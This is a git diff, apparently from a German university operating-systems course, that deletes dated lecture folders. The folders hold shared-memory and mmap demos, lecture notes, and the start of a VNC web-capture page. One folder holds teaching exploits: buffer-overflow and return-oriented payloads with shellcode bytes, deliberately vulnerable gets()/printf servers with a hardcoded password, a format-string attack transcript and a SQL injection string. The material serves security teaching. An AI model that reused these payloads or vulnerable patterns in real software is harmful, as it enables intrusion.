@@ -1,10 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_RDWR, 0666);
-  write (shm, "Hello, world!", 13);
-  return 0;
-}
diff --git a/20210604/shm-1b.c b/20210604/shm-1b.c
deleted file mode 100644
index de7774f79a26406bf5032f8d9a4fa543e35963fe..0000000000000000000000000000000000000000
--- a/20210604/shm-1b.c
+++ /dev/null
@@ -1,13 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[42];
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  read (shm, buffer, 42);
-  printf ("%s\n", buffer);
-  return 0;
-}
diff --git a/20210604/shm-1c.c b/20210604/shm-1c.c
deleted file mode 100644
index ff6363eddfa2b6d26ae5c390f96306702afd60f8..0000000000000000000000000000000000000000
--- a/20210604/shm-1c.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[42];
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  lseek (shm, 0, SEEK_SET);
-  read (shm, buffer, 42);
-  printf ("%s\n", buffer);
-  return 0;
-}
diff --git a/20210604/shm-2a.c b/20210604/shm-2a.c
deleted file mode 100644
index 8853ecaed14074e136a764fbdb868d5fe7a4baf3..0000000000000000000000000000000000000000
--- a/20210604/shm-2a.c
+++ /dev/null
@@ -1,11 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_CREAT | O_RDWR, 0666);
-  write (shm, "Hello, world!", 14);
-  close (shm);
-  return 0;
-}
diff --git a/20210604/shm-2b.c b/20210604/shm-2b.c
deleted file mode 100644
index 92ef091a9f00a93ed834071bd425b5b60238c3ee..0000000000000000000000000000000000000000
--- a/20210604/shm-2b.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[42];
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  read (shm, buffer, 42);
-  close (shm);
-  printf ("%s\n", buffer);
-  return 0;
-}
diff --git a/20210604/shm-3a.c b/20210604/shm-3a.c
deleted file mode 100644
index b5273ec483618b33585ff78f70f419bdff149950..0000000000000000000000000000000000000000
--- a/20210604/shm-3a.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  printf ("file = %d\n", file);
-  lseek (file, 0, SEEK_SET);
-  write (file, "Hello, world!", 14);
-  close (file);
-  return 0;
-}
diff --git a/20210604/shm-3b.c b/20210604/shm-3b.c
deleted file mode 100644
index 21f2d5d32d075a33bd94abeb9b69495d58b8c8a5..0000000000000000000000000000000000000000
--- a/20210604/shm-3b.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[42];
-  int file = open ("test.txt", O_RDONLY, 0444);
-  lseek (file, 0, SEEK_SET);
-  read (file, buffer, 42);
-  close (file);
-  printf ("%s\n", buffer);
-  return 0;
-}
diff --git a/20210604/shm-4a.c b/20210604/shm-4a.c
deleted file mode 100644
index 00ddb6790a669f3040dd7439c98c30d01227662d..0000000000000000000000000000000000000000
--- a/20210604/shm-4a.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_CREAT | O_RDWR, 0666);
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
-  strcpy (buffer, "Hello, world!");
-  munmap (buffer, 42);
-  close (shm);
-  return 0;
-}
diff --git a/20210604/shm-4b.c b/20210604/shm-4b.c
deleted file mode 100644
index 34c4b6ae3bebb451979307c61f3cfe66c5477f87..0000000000000000000000000000000000000000
--- a/20210604/shm-4b.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, shm, 0);
-  printf ("%s\n", buffer);
-  munmap (buffer, 42);
-  close (shm);
-  return 0;
-}
diff --git a/20210604/shm-5a.c b/20210604/shm-5a.c
deleted file mode 100644
index 8acc3dde82d8d7f7c4fd77714a3f5f65b7aa2b96..0000000000000000000000000000000000000000
--- a/20210604/shm-5a.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
-  strcpy (buffer, "Hello, world!");
-  munmap (buffer, 42);
-  close (file);
-  return 0;
-}
diff --git a/20210604/shm-5b.c b/20210604/shm-5b.c
deleted file mode 100644
index c31ba9b27a39f587474632b0442cbc33d20206eb..0000000000000000000000000000000000000000
--- a/20210604/shm-5b.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_RDONLY, 0444);
-  char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, file, 0);
-  printf ("%s\n", buffer);
-  munmap (buffer, 42);
-  close (file);
-  return 0;
-}
diff --git a/20210604/shm-6.txt b/20210604/shm-6.txt
deleted file mode 100644
index 6a7d035151eb23eeee6ddba83232afe8e9485293..0000000000000000000000000000000000000000
--- a/20210604/shm-6.txt
+++ /dev/null
@@ -1,35 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210604> cat shm-6a.c
-#include <stdio.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  fprintf (stderr, "0\n");
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
-  fprintf (stderr, "1\n");
-  strcpy (buffer, "Hello, world!");
-  fprintf (stderr, "2\n");
-  munmap (buffer, 42);
-  fprintf (stderr, "3\n");
-  close (file);
-  return 0;
-}
-cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6a
-0
-1
-Bus-Zugriffsfehler
-cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
--rw-r--r-- 1 peter peter 0 Jun  4 12:20 test.txt
-cassini/home/peter/bo/2021ss/bs/20210604> echo "Dies ist ein Test." > test.txt
-cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6a
-0
-1
-2
-3
-cassini/home/peter/bo/2021ss/bs/20210604> cat test.txt
-Hello, world!est.
-cassini/home/peter/bo/2021ss/bs/20210604>
diff --git a/20210604/shm-6a.c b/20210604/shm-6a.c
deleted file mode 100644
index 45e883c1f746de42bf8b2cfc0bcebb61e9c862e2..0000000000000000000000000000000000000000
--- a/20210604/shm-6a.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <stdio.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  fprintf (stderr, "0\n");
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
-  fprintf (stderr, "1\n");
-  strcpy (buffer, "Hello, world!");
-  fprintf (stderr, "2\n");
-  munmap (buffer, 42);
-  fprintf (stderr, "3\n");
-  close (file);
-  return 0;
-}
diff --git a/20210604/shm-6c.c b/20210604/shm-6c.c
deleted file mode 100644
index c4c537612a4d24d1b7bf20bb8c3f53a30c0a3322..0000000000000000000000000000000000000000
--- a/20210604/shm-6c.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <stdio.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  fprintf (stderr, "0\n");
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
-  fprintf (stderr, "1\n");
-  strcpy (buffer, "Dies ist ein weiterer Test.");
-  fprintf (stderr, "2\n");
-  munmap (buffer, 42);
-  fprintf (stderr, "3\n");
-  close (file);
-  return 0;
-}
diff --git a/20210604/shm-6c.txt b/20210604/shm-6c.txt
deleted file mode 100644
index ec7436ced4f38d6a9673af3df5382e64b119ca46..0000000000000000000000000000000000000000
--- a/20210604/shm-6c.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-#include <stdio.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  fprintf (stderr, "0\n");
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
-  fprintf (stderr, "1\n");
-  strcpy (buffer, "Dies ist ein weiterer Test.");
-  fprintf (stderr, "2\n");
-  munmap (buffer, 42);
-  fprintf (stderr, "3\n");
-  close (file);
-  return 0;
-}
-cassini/home/peter/bo/2021ss/bs/20210604> gcc -Wall -O shm-6c.c -o shm-6c -lrt
-cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
--rw-r--r-- 1 peter peter 19 Jun  4 12:21 test.txt
-cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c
-bs-20210604.txt  shm-2a           shm-3b           shm-5a           shm-6c
-shm-1a           shm-2a.c         shm-3b.c         shm-5a.c         shm-6c.c
-shm-1a.c         shm-2b           shm-4a           shm-5b           shm-6.txt
-shm-1b           shm-2b.c         shm-4a.c         shm-5b.c         test.txt
-shm-1b.c         shm-3a           shm-4b           shm-6a
-shm-1c.c         shm-3a.c         shm-4b.c         shm-6a.c
-cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c
-0
-1
-2
-3
-cassini/home/peter/bo/2021ss/bs/20210604> cat test.txt
-Dies ist ein weitercassini/home/peter/bo/2021ss/bs/20210604>
diff --git a/20210604/shm-6d.txt b/20210604/shm-6d.txt
deleted file mode 100644
index 88b33b2192d4d917dd30c340c55cbc527164099c..0000000000000000000000000000000000000000
--- a/20210604/shm-6d.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210604> echo -e "x" > test.txt
-cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
--rw-r--r-- 1 peter peter 2 Jun  4 12:31 test.txt
-cassini/home/peter/bo/2021ss/bs/20210604> cat shm-6c.c
-#include <stdio.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  fprintf (stderr, "0\n");
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
-  fprintf (stderr, "1\n");
-  strcpy (buffer, "Dies ist ein weiterer Test.");
-  fprintf (stderr, "2\n");
-  munmap (buffer, 42);
-  fprintf (stderr, "3\n");
-  close (file);
-  return 0;
-}
-cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c
-0
-1
-2
-3
-cassini/home/peter/bo/2021ss/bs/20210604> cat test.txt
-Dicassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
--rw-r--r-- 1 peter peter 2 Jun  4 12:31 test.txt
-cassini/home/peter/bo/2021ss/bs/20210604> rm test.txt
-cassini/home/peter/bo/2021ss/bs/20210604> touch test.txt
-cassini/home/peter/bo/2021ss/bs/20210604> ls -l test.txt
--rw-r--r-- 1 peter peter 0 Jun  4 12:31 test.txt
-cassini/home/peter/bo/2021ss/bs/20210604> ./shm-6c
-0
-1
-Bus-Zugriffsfehler
-cassini/home/peter/bo/2021ss/bs/20210604>
diff --git a/20210604/test-hardlink.txt b/20210604/test-hardlink.txt
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/20210604/test.txt b/20210604/test.txt
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/20210611/bs-20210611.txt b/20210611/bs-20210611.txt
deleted file mode 100644
index 52c65a9fdceb833f3e506e27df90c866e01cbe04..0000000000000000000000000000000000000000
--- a/20210611/bs-20210611.txt
+++ /dev/null
@@ -1,91 +0,0 @@
-ext3-Dateisystem, 11.06.2021, 11:49:19
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Journalling File System: merkt sich, welche Schreiboperationen bereits
-abgeschlossen wurden und welche nicht
---> Das Dateisystem ist immer in einem konsistenten Zustand und kann
-    z.B. bei Stromausfall sofort wiederhergestellt werden.
-
-Weitere Dateisysteme, 11.06.2021, 11:52:19
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- - ext4: effizienter im Umgang mit Flash-Speicher
-   konkret: möglichst selten physikalisch schreiben
- - einander überlagernde Dateisysteme,
-   z.B. nicht-schreibbaren und schreibbaren Datenträger zusammenschalten,
-   z.B. Docker-Container
-
-Exploits, 10.05.2019
-~~~~~~~~~~~~~~~~~~~~
-Vorab:
-
-  Dies ist keine Einladung, anderer Leute Systeme anzugreifen.
-  Derartige Handlungen sind Straftaten.
-
-  Ich erzähle Ihnen dies, damit Sie wissen,
-  wie Sie sich gegen derartige Angriffe verteidigen können.
-
-  Um es gleich vorwegzunehmen:
-  Gewöhnen Sie sich von vorneherein an,
-  sauber und ordentlich zu programmieren.
-
-Anleitungen für Exploits:
-http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson1/index.html
-http://www.thesprawl.org/research/exploit-exercises-protostar-stack/
-
-Literatur:
-Jon Erickson: Hacking: The Art of Exploitation.
-No Starch Press, 2003. ISBN: 1-59327-007-0
-
-Anleitung für den GNU-Debugger (gdb):
-http://beej.us/guide/bggdb/
-
-Formatstring-Angriff:
-
-  printf (user_string) für Exploit nutzen: %016llx
-  Server, der Passwort auf dem Stack speichert --> server-0.c
-
-  $ ./server-0
-  Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx
-  Hello, 00000000004007c7 00007fdb2ced2df0 00000000004007c7 00007fdb2d0f3007
-         20786c6c36313025 6373316870216948 00007fdb2cbd0068 0000007265746570!
-                          ~~~~~~~~~~~~~~~~             ~~~~
-  Your password, please:
-
-SQL Injection: http://xkcd.com/327/
-
-  insert into students values ('Robert', 'Lenhard', '3b');
-
-  insert into students values ('Robert'); drop table students; --', 'Lenhard', '3b');
-
-Lösung des Problems: Escape-Sequenzen.
-Damit ist es möglich, auch ungewöhnliche Zeichen in Strings aufzunehmen.
-
-Vortrag zum Thema Namensvalidierung: https://media.ccc.de/v/rc3-channels-2020-77-your-name-is-invalid-
-
-Noch blöder: Java-Browser-Applet enthält Passwörter im Klartext:
-http://heise.de/-2812713
-
-Buffer Overflow für Exploit nutzen: server-[123].c, exploit-*
-
-Warum Absturz? Rücksprungadresse wird überschrieben. Blick auf den Stack.
-Funktionsaufruf: Register setzen, Funktion anspringen.
-Exploit: Rücksprungadresse gezielt überschreiben.
-Früher möglich: Programm in den Stack schreiben, dorthin springen.
-Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
-Return Oriented Programming erforderlich
-genauer: return-to-libc; noch genauer: return-to-plt
-Gezielt Winz-Funktionen anspringen, um Register zu setzen,
-danach Programm- und Bibliotheksfunktionen anspringen.
-
-Exploits: aktuelle Sicherheitslücke, 28.12.2016, 13:46:05
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Lücke in PHPMailer erlaubt die Ausführung fremden Codes
-https://heise.de/-3582072
-
-Exploits, 29.06.2020, 15:38:10
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Früher möglich: Programm in den Stack schreiben, dorthin springen.
-Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
-Return Oriented Programming erforderlich
-genauer: return-to-libc; noch genauer: return-to-plt
-Gezielt Winz-Funktionen anspringen, um Register zu setzen,
-danach Programm- und Bibliotheksfunktionen anspringen.
diff --git a/20210611/exploit-1.c b/20210611/exploit-1.c
deleted file mode 100644
index f967dc10d848a9bcce65a0a23af4642a7ef6ae0f..0000000000000000000000000000000000000000
--- a/20210611/exploit-1.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <unistd.h>
-#include <stdint.h>
-
-int main (int argc, char **argv)
-{
-  uint64_t my_program_address = 0x7fffffffdfa0;
-  for (int i = 0; i < 0x28; i++)
-    write (1, "a", 1);                   // zum Auffüllen, um die Rücksprung-Adresse
-  write (1, &my_program_address, 8);     // überschreiben zu können
-  write (1, "I 0WN U!", 8);
-  for (int i = 0; i < 24; i++)
-    write (1, " ", 1);
-  write (1, "\x48\x89\xe7", 3);          // mov    %rsp,%rdi      hierhin erfolgt der
-  write (1, "\xb8\x00\x00\x00\x00", 5);  // mov    $0x0,%eax      "Rück-"Sprung
-  write (1, "\xe8\x26\xfe\xff\xff", 5);  // callq  0x4003e0 <printf@plt>
-  write (1, "\xeb\xfe", 2);              // while (1);
-  write (1, "\n", 1);
-  return 0;
-}
diff --git a/20210611/exploit-1.txt b/20210611/exploit-1.txt
deleted file mode 100644
index 44707bfa2ee99ddd58e1c8ee67c8667225f25323..0000000000000000000000000000000000000000
Binary files a/20210611/exploit-1.txt and /dev/null differ
diff --git a/20210611/exploit-2.c b/20210611/exploit-2.c
deleted file mode 100644
index cceab7204a351eba815603c4c78890303acc7e17..0000000000000000000000000000000000000000
--- a/20210611/exploit-2.c
+++ /dev/null
@@ -1,26 +0,0 @@
-#include <stdlib.h>
-#include <stdint.h>
-#include <unistd.h>
-
-#define OVERFLOW 40
-
-int main (int argc, char **argv)
-{
-  uint64_t mov_rsp_rdi = 0x555555555176;
-  uint64_t add_offset_to_rdi = 0x55555555517d;
-  uint64_t dummy = 0;
-  uint64_t printf_address = 0x555555555040;
-  uint64_t exit_address = 0x7ffff7e04ea0;
-  uint8_t overflow[OVERFLOW] = "loser";
-  uint8_t payload[] = "I 0WN U!!1!                             "
-                      "                                             ";
-  write (1, overflow, sizeof (overflow));
-  write (1, &mov_rsp_rdi, 8);
-  write (1, &add_offset_to_rdi, 8);
-  write (1, &printf_address, 8);
-  write (1, &exit_address, 8);
-  write (1, &dummy, 8);
-  write (1, payload, sizeof (payload));
-  write (1, "\n", 1);
-  return 0;
-}
diff --git a/20210611/exploit-2.txt b/20210611/exploit-2.txt
deleted file mode 100644
index 106a0677b3cc805cb61d8f1ae25ed79f4da31d10..0000000000000000000000000000000000000000
Binary files a/20210611/exploit-2.txt and /dev/null differ
diff --git a/20210611/exploit-3.c b/20210611/exploit-3.c
deleted file mode 100644
index ae1903af3ddf12c812a784223c700d22904600c1..0000000000000000000000000000000000000000
--- a/20210611/exploit-3.c
+++ /dev/null
@@ -1,25 +0,0 @@
-#include <stdlib.h>
-#include <stdint.h>
-#include <unistd.h>
-
-#define OVERFLOW 40
-
-int main (int argc, char **argv)
-{
-  uint64_t mov_rsp_rdi = 0x555555555176;
-  uint64_t add_offset_to_rdi = 0x55555555517d;
-  uint64_t dummy = 0;
-  uint64_t system_address = 0x555555555030;  // 0x7ffff7e109c0;
-  uint64_t exit_address = 0x555555555060;  // 0x7ffff7e04ea0;
-  uint8_t overflow[OVERFLOW] = "loser";
-  uint8_t payload[] = "gimp ../common/os-layers.xcf.gz";
-  write (1, overflow, sizeof (overflow));
-  write (1, &mov_rsp_rdi, 8);
-  write (1, &add_offset_to_rdi, 8);
-  write (1, &system_address, 8);
-  write (1, &exit_address, 8);
-  write (1, &dummy, 8);
-  write (1, payload, sizeof (payload));
-  write (1, "\n", 1);
-  return 0;
-}
diff --git a/20210611/exploit-3.txt b/20210611/exploit-3.txt
deleted file mode 100644
index 93827d33fe1916d2e75430c55108af67c634aecb..0000000000000000000000000000000000000000
Binary files a/20210611/exploit-3.txt and /dev/null differ
diff --git a/20210611/server-0.c b/20210611/server-0.c
deleted file mode 100644
index 96f8b4df4c5a467aa5d2ec424434a6a33a6f6127..0000000000000000000000000000000000000000
--- a/20210611/server-0.c
+++ /dev/null
@@ -1,24 +0,0 @@
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-
-int main (void)
-{
-  char name_buffer[100];
-  char *pass_buffer;
-  char username[] = "peter";
-  char password[] = "Hi!ph1sch";
-
-  printf ("Your name, please: ");
-  gets (name_buffer);
-  printf ("Hello, ");
-  printf (name_buffer);
-  printf ("!\n");
-
-  pass_buffer = getpass ("Your password, please: ");
-  if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
-    printf ("You have access.\n");
-  else
-    printf ("Login incorrect.\n");
-  return 0;
-}
diff --git a/20210611/server-1.c b/20210611/server-1.c
deleted file mode 100644
index 68f9eb57f5e277413a0206ed9af175033e9cda9d..0000000000000000000000000000000000000000
--- a/20210611/server-1.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[20];
-  printf ("Your name, please: ");
-  gets (buffer);
-  printf ("Hello, %s!\n", buffer);
-  return 0;
-}
diff --git a/20210611/server-2.c b/20210611/server-2.c
deleted file mode 100644
index 4aac725ae5c30412f0952a770d1c9d9f6c1f6895..0000000000000000000000000000000000000000
--- a/20210611/server-2.c
+++ /dev/null
@@ -1,33 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-
-void stuff (void)
-{
-  asm ("mov $0, %eax");
-  asm ("add $0x28, %rsp");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  asm ("mov %rsp, %rdi");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  asm ("add $0x20, %rdi");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  system ("clear");
-  exit (0);
-}
-
-int main (void)
-{
-  char buffer[20];
-  printf ("Your name, please: ");
-  gets (buffer);
-  printf ("Hello, %s!\n", buffer);
-  return 0;
-}
diff --git a/20210611/server-3.c b/20210611/server-3.c
deleted file mode 100644
index 11c3a7ff2bf4e1f27accebd7d9caddf6d90dfb66..0000000000000000000000000000000000000000
--- a/20210611/server-3.c
+++ /dev/null
@@ -1,33 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-
-void stuff (void)
-{
-  asm ("mov $0, %eax");
-  asm ("add $0x28, %rsp");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  asm ("mov %rsp, %rdi");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  asm ("add $0x20, %rdi");
-  asm ("ret");
-  asm ("nop");
-  asm ("nop");
-  asm ("nop");
-  system ("clear");
-  exit (0);
-}
-
-int main (void)
-{
-  char buffer[20];
-  printf ("Your name, please: ");
-  fgets (buffer, 20, stdin);
-  printf ("Hello, %s!\n", buffer);
-  return 0;
-}
diff --git a/20210618/bs-20210618.txt b/20210618/bs-20210618.txt
deleted file mode 100644
index c0a3414d7afc09670635d02e950f929b07d2c71c..0000000000000000000000000000000000000000
--- a/20210618/bs-20210618.txt
+++ /dev/null
@@ -1,56 +0,0 @@
-Bildverarbeitung und Objekterkennung, 18.06.2021, 11:37:19
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Aus WebCam-Bild mit verschiedenen Fokusstufen
-ein 3d-Diagramm von Objekten erzeugen
-
-Einstieg: Kamera-Konfigurator zum Einstellen der WebCam
-
-Idee: Server-Client-Anwendung mit Web-Oberfläche
-
-Problem: Kamerabild, das als unkomprimierte Bilddaten
-über einen WebSocket ankommt, anzeigen
-
-Lösungsansatz: In JavaScript auf Canvas zeichnen
---> nicht schnell genug (10 fps,
-    Änderungen von z.B. der Helligkeit noch langsamer)
-
-Ein Python-Server speist das Bild als NumPy-Array in den Websocket ein.
-JSON-Objekt: Vorspann + Daten als String
-
-Hardwarenahe JavaScript-Programmierung:
-https://nodejs.org/dist/latest-v16.x/docs/api/buffer.html#buffer_buffers_and_character_encodings
-
-Übertragung von Kamerabildern mittels WebRTC, 18.06.2021, 11:32:16
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-WebRTC = Web Real Time Communication
-Übertragung von Bild und Ton in Echtzeit zwischen Web-Browsern
-
-JavaScript beim Sender und Empfänger
-dazwischen: WebRTC-Gateway
- - Janus (CVH Camera)
- - Kurento (BigBlueButton, OpenMeetings)
- - Jitsi VideoBridge
-
-Alternativen zu WebRTC:
- - für Tonübertragung: Mumble
- - für Übertragung von Bildschirminhalten: VNC
-
-Vergleich WebRTC / VNC:
-
- * Web Real Time Communication (WebRTC)
-    - Ziel: Übertragung von "Filmen"
-    - hohe Frame-Raten
-    - gelegentliche Unschärfen nimmt man in Kauf
-    - höhere Anforderungen an Rechenleistung und Netzwerkbandbreite
-    - bei Übertragung von Bildschirminhalten:
-      sehr hohe Anforderungen an Speicherplatz (RAM)
-    - Browser-basiert
-
- * Virtual Network Computing (VNC) / Remote Desktop Protocol (RDP)
-    - Ziel: Pixelgenaue Übertragung von Bildschirminhalten
-    - gelegentliche niedrigere Frame-Raten nimmt man in Kauf
-    - bei Übertragung von Bildschirminhalten:
-      niedrige Anforderungen an Rechenleistung und Netzwerkbandbreite
-    - bei Übertragung von "Filmen": 
-      hohe Anforderungen an Rechenleistung und Netzwerkbandbreite
-    - dedizierte Software; es gibt auch Browser-Lösungen
diff --git a/20210618/yesvnc-wc-6.html b/20210618/yesvnc-wc-6.html
deleted file mode 100644
index e039f5ca712a2ae9526ec112428ef7b8ea74a997..0000000000000000000000000000000000000000
--- a/20210618/yesvnc-wc-6.html
+++ /dev/null
@@ -1,1282 +0,0 @@
-<!doctype html public "-//W3C//DTD HTML 4.0 Strict//EN">
-<html>
-  <head>
-    <meta http-equiv="Content-Type" content="text/html; charset=utf8">
-    <title>yesVNC Web Connector</title>
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <meta charset="utf-8">
-    <link rel="stylesheet" href="stylesheets/yesvnc-wc.css" type="text/css">
-  </head>
-  <body>
-    <main class="main">
-      <header class="main__header">
-        <h2 class="main__header-title">yesVNC Web Connector</h2>
-        <h3 id="room-indicator" class="main__header-subtitle">
-          Channel&nbsp;6
-        </h3>
-      </header>
-      <hr class="main__seperator" />
-      <div id="preview-section" class="hidden">
-        <div id="preview-container">
-          <video id="video" style="display: none;" autoplay></video>
-          <canvas id="canvas0" style="display:none;"></canvas>
-          <canvas class="preview" id="canvas1"></canvas>
-        </div>
-        <hr class="main__seperator" />
-      </div>
-      <div class="main__controls">
-        <button id="start">Start</button>
-        <button id="stop" disabled>Stop</button>
-      </div>
-    </main>
-    <script>
-
-      const debugging = 0;
-
-      const combine_rects_x_min_distance = 24;
-      const combine_rects_y_min_distance = 4;
-
-      const scroll_detection_x_min = -64;
-      const scroll_detection_x_max = 64;
-      const scroll_detection_y_min = -64;
-      const scroll_detection_y_max = 64;
-      const scroll_detection_r_max = 16;
-      const scroll_detection_min_width = 256;
-      const scroll_detection_min_height = 256;
-      const scroll_detection_min_stripe_width = 16;
-      const scroll_detection_min_stripe_height = 16;
-      const scroll_detection_point_divisor = 1024;
-      const scroll_detection_length_divisor = 8;
-      const scroll_detection_same_color_threshold = 0.995;
-      const scroll_detection_hit_threshold = 0.995;
-
-      let video = document.getElementById ("video");
-      const canvas0 = document.getElementById ("canvas0");
-      const canvas1 = document.getElementById ("canvas1");
-      let ctx0 = undefined;
-      let ctx1 = undefined;
-
-      function hideElement (el)
-      {
-        el.classList.add ('hidden');
-      }
-
-      function showElement (el)
-      {
-        el.classList.remove ('hidden');
-      }
-
-      const displayMediaOptions = { video: { cursor: "always" }, audio: false };
-
-      async function startCapture ()
-      {
-        video.srcObject = await navigator.mediaDevices.getDisplayMedia (displayMediaOptions);
-        showElement (document.getElementById ('preview-section'));
-      }
-
-      function stopCapture (evt)
-      {
-        hideElement (document.getElementById ('preview-section'));
-        let tracks = video.srcObject.getTracks ();
-        tracks.forEach (
-          function (track)
-          {
-            track.stop ();
-          });
-        video.srcObject = null;
-      }
-
-      const startButton = document.getElementById ("start");
-      const stopButton = document.getElementById ("stop");
-
-      startButton.addEventListener ("click",
-        function (evt)
-        {
-          startCapture ();
-          startButton.setAttribute ('disabled', '');
-          stopButton.removeAttribute ('disabled');
-        },
-        false);
-
-      stopButton.addEventListener ("click",
-        function (evt)
-        {
-          stopCapture ();
-          start.removeAttribute ('disabled');
-          stopButton.setAttribute ('disabled', '');
-          window.location.reload();
-        },
-        false);
-
-      let socket = undefined;
-
-      function buf2hex (buffer)
-      {
-        const b = new Uint8Array (buffer);
-        const hexdump = Array.prototype.map.call (b,
-          function (x)
-          {
-            return ("00" + x.toString (16)).slice (-2);
-          }).join (" ");
